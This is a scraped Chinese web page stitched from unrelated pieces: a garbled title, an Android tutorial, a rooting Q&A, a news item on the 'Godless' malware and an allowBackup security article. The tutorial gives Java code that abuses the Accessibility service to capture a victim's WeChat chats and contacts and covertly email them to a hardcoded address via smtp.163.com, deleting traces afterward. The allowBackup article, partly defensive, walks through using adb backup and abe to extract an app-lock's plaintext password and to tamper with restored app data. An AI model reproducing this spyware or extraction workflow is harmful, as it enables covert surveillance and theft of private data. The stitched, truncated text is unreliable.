中如何获取在非Root设备中获取应用隐私大数据为什么在贵州

有句话说的很对,会用是一回事,深入理解又是另一回事了 ╮( ̄▽ ̄”)╭
Android开发——免Root监听微信的聊天记录(后台秘密发邮件)
1. 首先先展示一下效果图:2. Accessibility机制Accessibility机制之前已经介绍过了,具体可以查看,需要简单的配置(如设置被监听的对象为微信)和实现。此文中介绍了如何通过Accessibility自动抢红包,在这个过程中,很明显,在调用如下代码时,AccessibilityNodeInfo nodeInfo = getRootInActiveWindow();
遍历节点,再循环打印其getText()信息,便可以拿到用户通讯录以及聊天记录等信息的。获取到这些信息后,我们可以暂时写入文件,以备发送。private void write(String info){
FileOutputStream fos = openFileOutput(FILE_NAME,MODE_APPEND);
PrintStream ps = new PrintStream(fos);
ps.println(info);
ps.close();
catch (Exception e) {
e.printStackTrace();
}当然,前提是在被监听用户在我们开启监听后聊过(或者说看到)的记录,否则用户连微信都不打开,我们是无从获取聊天记录等信息的。本文原创,转载请注明出处:2. 后台秘密发邮件当然,我们监听到这些信息,需要实时地反馈给我们。这里我们采用邮件的形式,通过后台“偷偷地”发送这些信息。发送后台邮件需要用到三个第三方的库,分别为activation.jar,additionnal.jar,mail.jar。发送邮件的时候需要用到很多信息,包括发送邮件的服务器的IP和端口、邮件发送者的地址、邮件接收者的地址、登陆邮件发送服务器的用户名和密码、邮件主题、邮件的文本内容等等。这里需要注意的是,我们后台发邮件需要账号密码等敏感信息,这些邮件信息,除了邮件的文本内容信息,其他的信息我们都可以在程序里面编写好,这样便可以实现在用户未知的情况下,将用户的个人隐私信息作为邮件的文本内容,从应用程序目录下的文件内取出,完成后台发送。还有一点需要注意的是,在完成后台秘密发送的同时,需要将存放敏感信息的的文件进行删除,以此来防止部分内容的重复发送。删除之后,重新开始监听用户信息,若信息有效,便重新创建文件写入信息,当达到设定好的发送条件时,再进行后台邮件发送,以此循环,来达到一直监听的目的。具体的发送时机,删除暂时保存数据的文件的时机等等,可以自定义实现。核心代码展示如下:
//发送邮件
MailSenderInfo mailInfo = new MailSenderInfo();
mailInfo.setMailServerHost("smtp.163.com");
mailInfo.setMailServerPort("25");
mailInfo.setValidate(true);
mailInfo.setUserName(userid);
//你的邮箱地址
mailInfo.setPassword(password);//您的邮箱密码
mailInfo.setFromAddress(from);
mailInfo.setToAddress(to);
mailInfo.setSubject(subject);
mailInfo.setContent(read());
//这个类主要来发送邮件
SimpleMailSender sms = new SimpleMailSender();
//发送文体格式
sms.sendTextMail(mailInfo);其中SimpleMailSender类展示如下,MyAuthenticator类需要继承Authenticator类,主要是在getPasswordAuthentication()方法中返回封装好的类型为PasswordAuthentication的鉴权结果即可。public class SimpleMailSender
* 以文本格式发送邮件
* @param mailInfo 待发送的邮件的信息
public boolean sendTextMail(MailSenderInfo mailInfo){
// 判断是否需要身份认证
MyAuthenticator authenticator =
Properties pro = mailInfo.getProperties();
if (mailInfo.isValidate())
// 如果需要身份认证,则创建一个密码验证器
authenticator = new MyAuthenticator(mailInfo.getUserName(), mailInfo.getPassword());
// 根据邮件会话属性和密码验证器构造一个发送邮件的session
Session sendMailSession = Session.getDefaultInstance(pro,authenticator);
// 根据session创建一个邮件消息
Message mailMessage = new MimeMessage(sendMailSession);
// 创建邮件发送者地址
Address from = new InternetAddress(mailInfo.getFromAddress());
// 设置邮件消息的发送者
mailMessage.setFrom(from);
// 创建邮件的接收者地址,并设置到邮件消息中
Address to = new InternetAddress(mailInfo.getToAddress());
mailMessage.setRecipient(Message.RecipientType.TO,to);
// 设置邮件消息的主题
mailMessage.setSubject(mailInfo.getSubject());
// 设置邮件消息发送的时间
mailMessage.setSentDate(new Date());
// 设置邮件消息的主要内容
String mailContent = mailInfo.getContent();
mailMessage.setText(mailContent);
// 发送邮件
Transport.send(mailMessage);
catch (MessagingException ex){
ex.printStackTrace();
}MailSenderInfo类展示如下。public class MailSenderInfo {
// 发送邮件的服务器的IP和端口
private String mailServerHost = Constant.SERVICE_IP;
private String mailServerPort = Constant.SERVICE_PORT;//一般为25
// 邮件发送者的地址
private String fromA
// 邮件接收者的地址
private String toA
// 登陆邮件发送服务器的用户名和密码
private String userN
// 是否需要身份验证
private boolean validate =
// 邮件主题
// 邮件的文本内容
* 获得邮件会话属性
public Properties getProperties() {
Properties p = new Properties();
p.put("mail.smtp.host", this.mailServerHost);
p.put("mail.smtp.port", this.mailServerPort);
p.put("mail.smtp.auth", "true");
public String getMailServerHost() {
return mailServerH
public void setMailServerHost(String mailServerHost) {
this.mailServerHost = mailServerH
public String getMailServerPort() {
return mailServerP
public void setMailServerPort(String mailServerPort) {
this.mailServerPort = mailServerP
public boolean isValidate() {
public void setValidate(boolean validate) {
this.validate =
public String getFromAddress(){
return fromA
public void setFromAddress(String fromAddress){
this.fromAddress = fromA
public String getPassword(){
public void setPassword(String password){
this.password =
public String getToAddress(){
return toA
public void setToAddress(String toAddress){
this.toAddress = toA
public String getUserName(){
return userN
public void setUserName(String userName){
this.userName = userN
public String getSubject(){
public void setSubject(String subject){
this.subject =
public String getContent(){
public void setContent(String textContent){
this.content = textC
AccessibilityService获取控件信息getRootInActiveWindow() 经常为null,并且节点信息不全的问题
Android数据库监听器+Demo
Android 获取手机中微信聊天记录
Android几行代码实现实时监听微信聊天
教你怎么查别人的微信聊天记录
Android 找出微信聊天记录的缓存
没有更多推荐了,手机root以后是不是软件用起来不安全了,,隐私更容易泄露?
手机root以后是不是软件用起来不安全了,,隐私更容易泄露? 比如说315晚会上报道的,很多软件都是能后台定位用户,读取用户的通讯录和短信. 感觉还是root比较安...
按时间排序
手机root权限后,并不是手机软件用起来不安全。跟隐私更容易泄露也没有关系。
手机root权限后,手机系统的最高权限已经被取代,也就是你可以随意下载系统内的任何文件,如果不小心删除了一些不该删除的文件,就会导致系统运行失败或死机、白屏。也更加容易导致系统的不稳定。系统都不稳定,会给你带来很多的不必要的烦恼。比方说,无法连接wifi;无法打电话;手机黑屏死机;短信无法发送;桌面拨号、电话簿快捷方式丢失等等。
所以,如果不是很懂系统内部应用程序代码,root权限后只是卸载一些系统自带第三方的应用,卸载后可以取消root权限。以免误操作,导致系统文件丢失。
第一个真心好用
360超级root
root以后会更安全,因为可以禁止一些权限。但是,只要流氓软件获取了root就可以为所欲为了。只要用 权限管理 管理好申请root权限的程序就可以了。
你好:您想要获取ROOT权限,建议使用【ROOT助手】啊,它支持的手机机型有很多种,而且获取ROOT权限也很简单 要获得安卓手机ROOT权限,方法十分简单:纵然每款机型的root方式各不相同,但一般步骤还是差不多的,用户既可以自己动手完成,也可以送到手机维修处帮忙解决,而最终都是采取线刷或卡刷来完成的。  1)线刷就是借助一键root工具软件,一键获取手机root权限。小白用户只需在电脑上下载安装好ROOT助手,然后连上手机打开USB调试、安装驱动。在欢迎界面中可以看到你的手机信息中手机是否root。  如果你的手机还没有ROOT的话,只需点击“一键ROOT”按键就会自动筛选ROOT方案并执行ROOT操作。大概1-2分钟左右,即可成功ROOT,让手机获得ROOT权限。  2)卡刷主要针对线刷没有成功和刷机技术比较好的用户,具体是指用户按照ROOT助手官网相关机型的root破解教程或者论坛教程,自己下载ROOT所需的文件,然后一步一步按步骤手动操作完成。希望能够帮助到你
root了以后让一种软件来管理所有的权限,这样至少知道谁干啥了,
我觉得应该是这样 的
你什么手机系统。有的系统不能root的
百度一键root或腾讯手机管家也可以
感谢您为社区的和谐贡献力量请选择举报类型
经过核实后将会做出处理感谢您为社区和谐做出贡献
确定要取消此次报名,退出该活动?
请输入私信内容:务必警惕这种Android软件 它能秘密获取你手机的Root权限
腾讯科技讯 6月22日,据Computerworld 网站报道,网络安全研究人员最近在一些貌似合法的应用程序中发现了一种新型恶意软件。这种恶意软件能够秘密获取Android手机的Root权限,然后在手机里安装非法软件。趋势科技公司(Trend Micro)周二在一篇博客文章写道,研究人员发现在Google Play等一些应用商店中隐藏着一种名为“Godless”的恶意软件。这种恶意软件的攻击目标是采用Android 5.1或更早Android版本的移动设备,涵盖了90%以上的Android设备。“Godless”隐藏在某些应用程序内,并利用Exploit程序去获取用户手机的Root权限,这基本上相当于创建了管理员权限,之后就能够在手机里擅自安装非法的程序。“Godless”包含各种Exploit程序,以确保它能够获取手机的Root权限,它甚至可以在手机中安装间谍软件。“Godless”还有了一种新的变种,它能够绕过Google Play等应用商店的安全检查。一旦它获取了手机的Root权限,用户很难将它卸载。趋势科技表示,它在Google Play 的很多应用中发现了这种恶意软件。“我们已经在许多应用中发现了这种恶意软件,包括手电筒和Wi-Fi应用等实用工具,也包括一些流行游戏应用的山寨版。”该公司表示。有些应用不包含这种恶意软件,但它们有对应的的恶意版本,两种版本共享相同的开发者证书。用户安装了干净的应用后,该应用会被秘密升级到恶意版本。趋势科技表示,到目前为止,这种恶意软件已经攻击了85万部移动设备,其中几乎有一半在印度,另外一些在其他东南亚国家,只有不到2%在美国。“在应用程序时,无论是下载实用工具还是流行游戏,用户应该审查该应用的开发商。要警惕那些没有留下信息或者只留下很少信息的开发商,他们开发的应用可能就是这种恶意软件的来源。”趋势科技说。趋势科技建议,用户最好是从信得过的应用商店中下载应用程序。当然,如果用户买一些手机安全软件就更好了。(谭思)
[责任编辑:honestsun]
您认为这篇文章与"新一网(08008.HK)"相关度高吗?
Copyright & 1998 - 2018 Tencent. All Rights Reserved
还能输入140字&nbsp>&nbsp
&nbsp>&nbsp
&nbsp>&nbsp
Android逆向之旅---Android中如何获取在非Root设备中获取应用隐私数据
摘要:一、前言今天在开发的过程中遇到一个问题,就是关于AndroidManifest.xml中的allowBackup属性,也算是自己之前对这个属性的不了解,加上IDE的自动生成代码,没太注意这个属性,但是没想到这个属性会直接导致隐私数据的丢失。下面就来看一下这个属性的影响到底有多大。他的作用是什么?二、Android中的allowBackup属性1、allowBackup安全风险描述AndroidAPILevel8及其以上Android系统提供了为应用程序数据的备份和恢复功能,此
今天在开发的过程中遇到一个问题,就是关于AndroidManifest.xml中的allowBackup属性,也算是自己之前对这个属性的不了解,加上IDE的自动生成代码,没太注意这个属性,但是没想到这个属性会直接导致隐私数据的丢失。下面就来看一下这个属性的影响到底有多大。他的作用是什么?
二、Android中的allowBackup属性
1、allowBackup安全风险描述Android API Level 8及其以上Android系统提供了为应用程序数据的备份和恢复功能,此功能的开关决定于该应用程序中AndroidManifest.xml文件中的allowBackup属性值[1] ,其属性值默认是true。当allowBackup标志为true时,用户即可通过adbbackup和adb restore来进行对应用数据的备份和恢复,这可能会带来一定的安全风险。
Android属性allowBackup安全风险源于adb backup容许任何一个能够打开USB 调试开关的人从Android手机中复制应用数据到外设,一旦应用数据被备份之后,所有应用数据都可被用户读取;adb restore容许用户指定一个恢复的数据来源(即备份的应用数据)来恢复应用程序数据的创建。因此,当一个应用数据被备份之后,用户即可在其他Android手机或模拟器上安装同一个应用,以及通过恢复该备份的应用数据到该设备上,在该设备上打开该应用即可恢复到被备份的应用程序的状态。
尤其是通讯录应用,一旦应用程序支持备份和恢复功能,攻击者即可通过adb backup和adb restore进行恢复新安装的同一个应用来查看聊天记录等信息;对于支付金融类应用,攻击者可通过此来进行恶意支付、盗取存款等;因此为了安全起见,开发者务必将allowBackup标志值设置为false来关闭应用程序的备份和恢复功能,以免造成信息泄露和财产损失。
2、allowBackup安全影响范围Android API Level 8以及以上系统
3、allowBackup安全风险详情1) allowBackup风险位置:
AndroidMannifest.xml文件android:allowBackup属性
2) allowBackup风险触发前提条件:
未将AndroidMannifest.xml文件中的android:allowBackup属性值设为false
3) allowBackup风险原理:
当allowBackup标志值为true时,即可通过adb backup和adb restore来备份和恢复应用程序数据
三、如何在非root设备上获取隐私数据
好了,上面我们就了解了,原来allowBackup属性的风险很大。下面我们看看现在如果这个属性是false的话,我们怎么在没有root的设备去获取数据呢?
首先我们看这样一个场景,现在市场上有一些应用锁类的app,他们就是给每个应用打开的时候添加一个密码,在打开app的时候需要输入密码才能进入指定的应用,一般会把自己的银行app,通讯类的app加密。现在市场上这些应用锁的原理也很简单,一般是三种方式实现:
1、最古老的方式,启动一个Service然后隔一段时间去轮训,获取当前的topActivity,然后进行操作。
2、因为Android5.0以后,获取当前的topActivity需要授权,所以这里还需要做一个操作就是引导用户去开一些功能。
3、通过辅助功能,可以监听当前Window的变化,这种方式比上面的轮训方式高效的多了。
其实1和2两种方式差不多,唯一的区别就在于获取topActivity的方式,其实google意识到了,获取topActivity是很危险的一件事:
在之前的一篇文章中说到了:Android中通过应用锁盗取账号,恶意的软件,可以通过这个功能,使用一个类似于QQ或者支付宝这样的app,当用户启动QQ或者支付宝的时候,我们可以监听到,然后就启动我们自己的模拟QQ或者支付宝的登录页面然后就可以获取到用户名和密码了,完成盗取。
下面我们来看一个市场上比较火的一款应用锁app:智能应用锁
我们下载apk,之后使用aapt查看他的AndroidManifest.xml内容:
aapt dump xmltree applock.apk AndroidManifest.xml & D:/demo.txt
注:我们在拿到一个apk的时候,如果想知道apk中的一些资源和配置信息,aapt命令是个不错的选择,同时,他能够删除apk中的一些资源,添加一些资源到apk中都是可以的。
这里因为AndroidManifest.xml内容有点多,就重定向到一个txt文件中,我们看到allowBackup属性为true,因为非0的都是true。好吧,说明applock.apk这个应用咋们是可以使用adb backup命令进行隐私数据的备份的。下面咋们就来看一下如何进行备份:
1、第一步:使用adb backup -f applock.abcom.thinkyeah.smartlockfree 进行数据的备份
adb backup [-system|-nosystem] -all [-apk|-noapk] [-shared|-noshared] -f &档案名称& [需要备份的应用包名]1& [-system|-nosystem]这个指令是告诉adb 在备份时是否要连同系统一起备份若没有打的话 默认是-system 表示会一起备份系统注意!若连系统一起备份 在还原的时候会复盖系统档案 对于已经升级后的手机是非常不好的我不知道在没有ROOT的情况下 adb是否有权限去还原系统档案 但就算如此 还是不建议这样做因此 -nosystem是建议一定要打上的指令2& -all这个指令除非只是要备份单一APP 不然是一定要打上去的这个是问你是否要备份全部的APP 若有加上-nosystem的指令那么他就只会备份你目前已经安装上去的APP 而不会连系统APP一起备份3& [-apk|-noapk]默认是-noapk 这个的意思是是否连安装的APK一起备份若为-noapk 则只会备份APK的资料档(像是游戏存盘 设定 之类的)4& [-shared|-noshared]默认是-noshared 这个会问你是否连手机储存空间或是SD卡的档案一起备份
关于这个应用的包名,我们可以直接从上面dump出来的AndroidManifest.xml中获取即可:
获取包名之后,我们就可以执行命令,我们把导出来的文件保存到当前目录下:applock.ab,注意这里的格式是ab,这个也是Android中备份文件的格式要求。
当我们执行这个命令的时候,设备端会出现一个提示页面:
这时候会提示我们输入备份密码,这里为了简单,不输入,直接点击备份即可。
下面,我们还需要借助一个工具来解析这个ab文件。
第二步:使用android-backup-extractor(abe)工具来解析ab文件
这个工具是开源的,用Java语言写的。源码位于:https://github.com/nelenkov/android-backup-extractor
这里没有直接下载源码,然后编译了,直接在网上下载了一个编译好的
这里我就下载好了,可以从这里下载:http://download.csdn.net/detail/jiangwei/9523470
用法也很简单:
看到我们使用unpack参数来将ab文件转化成tar文件:
java -jar abe.jar unpack applock.ab applock.tar
我们在用解压缩软件查看内容:
我们现在如果想知道他的密码,那么可以直接查看SharePreferences文件即可,因为一般都会把密码放到这里保存,不过这是一个非常危险的操作,如果你在不进行加密的话,那更是危险了。
我们查看SmartLockConfig.xml内容:
好吧,被我们猜中了,他尽然把手势密码以明文的方式保存在这里。这里他用的是手势方式加密:03678,代表的应该是一个L:
到这里我们就成功的破解了智能应用锁的加密app的功能,而且是在没有root的情况下。下面来总结一下:
1、这个智能应用锁的app现在在市场的下载量还是蛮高的,已经有100W的下载量了,但是我们看到他的一不留神allowBackup属性设置成true,这样就导致了数据可能被外泄,不过这个属性google不知道怎么去对待他的,他的默认值尽然是true,而且更为有趣的是,在使用各大IDE工具,默认新建的工程之后,这个属性的值也是true
上面就是现在比较常用的两个IDE工具:Eclipse和AndroidStudio,看到当我们新建一个工程的时候,他默认都是把这个属性设置成true的,那么当你不设置设置个属性的时候,也是可以进行备份的,因为默认值也是true的,所以按照google的想法,应该是为了防止数据的丢失,就留了这一个功能。便于用户备份数据。但是这里会隐含一些安全问题,所以我们在开发的时候,如果不去注意这个属性的话,就会吃亏的,所以在开发的过程中一定要记得把这个属性设置成false,特别是非常重要的需要账号登录的app。
2、上面分析了智能应用锁的app,并非只是一个案例,其实现在很多app都有这个问题,我们看看豌豆荚app:
他也是没有手动的改变这个属性为false的,所以他的数据也是可以导出来的。
再看看优酷视频app:
也是一样,不过像这些app,他们的账号登录密码啥的信息肯定不是放在本地的,而是放到服务端进行验证的,不像应用锁这样的,他不需要联网也是可以进行操作的,所以密码必须放到本地。但是只要有这个属性allowBackup为true的话,就会被查看到沙盒数据,就是不安全的。最后我们再来看看微信5.0版本也有这个问题,不过他在6.0之后已经把allowBackup设置成false了:
这里我们看到他没有设置allowBackup属性,但是刚刚说了,默认值就是true,所以还是可以导出来的,下面我们可以使用上面的导出步骤进行操作:
这里,其实微信他把通讯录和聊天记录,都是保存到db中,但是这个db是进行加密的,然后保存到一个目录下面的,关于这个db加密,其实是需要反编译微信,然后动态调试跟踪代码来破解了,这个后面会写一篇文章详细介绍的,因为我们知道,通讯录和聊天内容是没有网络就可以查看的,那么加解密肯定是放在本地做的,只要是放在本地做的,那么就可以进行破解。
不过这里看到微信在后续的版本已经修复了这个问题,6.0版本之后就不能导出来数据了,那么5.0的用户其实还是会受影响的。
3、还是回到这个应用锁app中来,其实在这里还是想吐槽一番的,作为下载量蛮高的app,尽然把密码用明文保存到xml中,这种做法其实是对用户的不负责,首先这里完全可以使用MD5来做密码验证就可以了,为何要暴露明文,其次是为何把这么重要的数据保存到xml中,稍微加点难度破解的放到so中也是可以的呀~~
4、破解场景:之前我看到好几个同事都下载了这个app,去加密相册app,QQ和微信啥的呀,其实现在看来并没有什么用,当我拿到手机的那一刻,什么都是可以做的,而且不需要root,只需要一个命令就可以了,完全的悄无声息,没法察觉的就看到密码了。
5、所以在开发的过程中,我们在最后一步发包的过程中一定要检查一下这个属性是否为false,因为他牵涉到你的太多隐私信息了
1、我们可以使用adb backup命令来做一下操作,就是我们在开发过程中,如果遇到手机没有root的,但是又想查看沙盒数据,那么这个也是一种方式,当然我们可以使用run-as命令来操作,不了解run-as的同学可以看这篇文章:Android中的run-as命令使用但是这个也是一种方式,虽然看上去有点繁琐。
2、与上面的adb backup命令相对应的还有一个就是adb restore命令,他是用来恢复数据的,具体用法:
adb restore applock.ab
这时候也会在客户端出现确认页面:
点击恢复数据即可。
那么这里又有一个问题了,现在如果我想改了这个应用锁的密码,其实很简单:
然后在保存成ab文件,然后还原。密码就被修改了。那么比如有些应用它把一些隐私的链接url这样的信息保存到xml中,那就蛋疼了,我们可以导出来数据,然后修改url为我们自己的url,然后在还原,我擦,如果是一些上报,或者是登录的url,我们就可以在这里做手脚,达到我们想要的目的了。
四、技术概要
1、分析了现阶段应用锁的原理以及如何使用应用锁来进行账号盗取
2、使用aapt命令查看apk包中信息
3、使用adb backup/restore进行应用数据的备份和还原
4、使用abe工具查看备份文件
5、我们在备份完数据之后,可以尝试查看一些应用的隐私数据,同时还可以篡改信息,在还原。都是可以的。
6、在开发过程中对于没有root的设备,adb backup也是可以用来查看开发应用的沙盒数据的,只是过程有点复杂。
从这篇文章我们可以可以看到,一个属性的不留意,会带来多大的风险,当然这个属性也是很蛋疼的,就是他默认值是true,所以在你不管他的情况下还是有问题的,必须手动的去设置成false才可以,所以这个也是导致现在市场上很多app都存在这样的风险。其次这里我们主要分析了一个智能应用锁的信息,发现他犯了一个最大的错误就是把密码用明文的方式保存在xml中,破解难度为0,如果有一些你的朋友或者你的老婆,想看你的微信和QQ,同时又发现了你用了这个app去加密,那么你就惨了,你老婆只要会adb命令,或者看到这篇文章之后,就两步,然后看到你不想让她看到的数据,好吧,然后就没然后了~~,所以我们开发者在开发一个app的时候,不仅要的是用户体验,更重要的时候对用户的隐私负责。我们用户在下载和安装一些app的时候也是需要注意的就是多留点心~~
更多内容:点击这里
关注微信公众号,最新Android技术实时推送
以上是的内容,更多
的内容,请您使用右上方搜索功能获取相关信息。
若你要投稿、删除文章请联系邮箱:zixun-group@service.aliyun.com,工作人员会在五个工作日内给你回复。
新用户大礼包!
现在注册,免费体验40+云产品,及域名优惠!
云服务器 ECS
可弹性伸缩、安全稳定、简单易用
&40.8元/月起
预测未发生的攻击
&24元/月起
你可能还喜欢
你可能感兴趣
阿里云教程中心为您免费提供
Android逆向之旅---Android中如何获取在非Root设备中获取应用隐私数据相关信息,包括
的信息,所有Android逆向之旅---Android中如何获取在非Root设备中获取应用隐私数据相关内容均不代表阿里云的意见!投稿删除文章请联系邮箱:zixun-group@service.aliyun.com,工作人员会在五个工作日内答复
售前咨询热线
支持与服务
资源和社区
关注阿里云
International

我要回帖

更多关于 大数据时代 的文章

 

随机推荐